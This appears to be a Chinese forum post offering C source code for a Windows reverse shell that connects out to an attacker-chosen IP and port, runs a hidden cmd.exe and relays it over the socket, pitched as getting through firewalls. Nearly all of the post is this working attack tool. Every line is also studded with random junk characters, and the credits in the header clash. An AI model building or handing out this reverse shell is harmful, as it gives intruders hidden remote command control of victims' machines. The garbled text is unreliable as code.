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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 XQ4G)  
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/* ============================== >5Wlc$bc  
Rebound port in Windows NT U%h);!<  
By wind,2006/7 Mwgu93?  
===============================*/ u*qV[y5Bl  
#include 7Sz?S_N/j  
#include c\% r38  
E*?<KZe"  
#pragma comment(lib,"wsock32.lib") P>9aI/d9  
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void OutputShell(); p$ bnK]  
SOCKET sClient; zD3mX<sw  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M)sZSH.<O  
}8;[O 9  
void main(int argc,char **argv) 0(_l|PScF  
{ 2>*%q%81  
WSADATA stWsaData; >J u]2++lx  
int nRet; -48vJR*tC  
SOCKADDR_IN stSaiClient,stSaiServer; pIbdN/z  
nI0[;'Hn,  
if(argc != 3) "QvmqI>  
{ :8A!HI}m{  
printf("Useage:\n\rRebound DestIP DestPort\n"); S~]mWxgZ  
return; ;W>Y:NCrp  
} o!Rd ^  
h[Gg}N!  
WSAStartup(MAKEWORD(2,2),&stWsaData); i|1^+;  
0j C3fT!n  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |AC1\)2tT  
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stSaiClient.sin_family = AF_INET; uIU5.\"s  
stSaiClient.sin_port = htons(0); GJqE!I,.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); JJRK7\~$  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kp\\"+,VC  
{ ~SSU`  
printf("Bind Socket Failed!\n"); 2 1PFR:lP7  
return; fL]Pztsk+  
} :$+-3_oLMQ  
[%&ZPJT%i  
stSaiServer.sin_family = AF_INET; :6q]F<oK  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _j_x1.l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -[L!3jU  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _e9:me5d"$  
{ kF>o.uSV  
printf("Connect Error!"); 5{$LsL  
return; DS|KkTy3  
} n&A'C\  
OutputShell(); @* il3h,  
} upvS|KUil  
#Km:}=  
void OutputShell() P=1I<Pew  
{ cQ:"-!ff  
char szBuff[1024]; _bD/D!|  
SECURITY_ATTRIBUTES stSecurityAttributes; ;+1RU v  
OSVERSIONINFO stOsversionInfo; G^"Vo x4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K gN)JD>  
STARTUPINFO stStartupInfo; 0j(M* sl  
char *szShell; h $N0 D !  
PROCESS_INFORMATION stProcessInformation; SR*wvQnOx  
unsigned long lBytesRead; >R/$1e1Y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~:km]?lz0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ET];%~ ^  
stSecurityAttributes.lpSecurityDescriptor = 0; m5G\}8|  
stSecurityAttributes.bInheritHandle = TRUE; Ap{}^  
!.1%}4@Q]  
i@NqC;~;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;WL1B   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a(]`F(L  
?X?&~3iD%  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ob_I]~^I?|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 09o~9z0  
stStartupInfo.wShowWindow = SW_HIDE; *)]"27^  
stStartupInfo.hStdInput = hReadPipe; #y|V|nd  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; q %A?V _  
0ult7s}  
GetVersionEx(&stOsversionInfo); .}')f;jH5<  
``ekR6[8c  
switch(stOsversionInfo.dwPlatformId) [#YE^[*qK  
{ mW%?>Z1=>d  
case 1: qz4^{  
szShell = "command.com"; l<(Y_PE:  
break; %7`f{|.  
default: yk2!8  
szShell = "cmd.exe"; :Sg_t Of  
break; v6\F Q9|t  
} $N2SfyX7  
I|$ RJkD  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A~nf#(!^]  
^7]"kg DA  
send(sClient,szMsg,77,0); ~8|t*@D  
while(1) hl&-\dc+  
{ AGA`fRVx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (SVWdgb  
if(lBytesRead) +D#Zn!P  
{ R6 XuA(5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }_QKJw6/"  
send(sClient,szBuff,lBytesRead,0); ~#\i!I;RY}  
} 4\.V   
else !S%6Uzsj  
{ -G &_^"=R  
lBytesRead=recv(sClient,szBuff,1024,0); Wi n8LOC  
if(lBytesRead<=0) break; 3>z[PPw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {+zJI-XN/  
} mxSKG> O  
} o-7>eE}+  
O gmO&cE  
return; v}J;ZIb  
}
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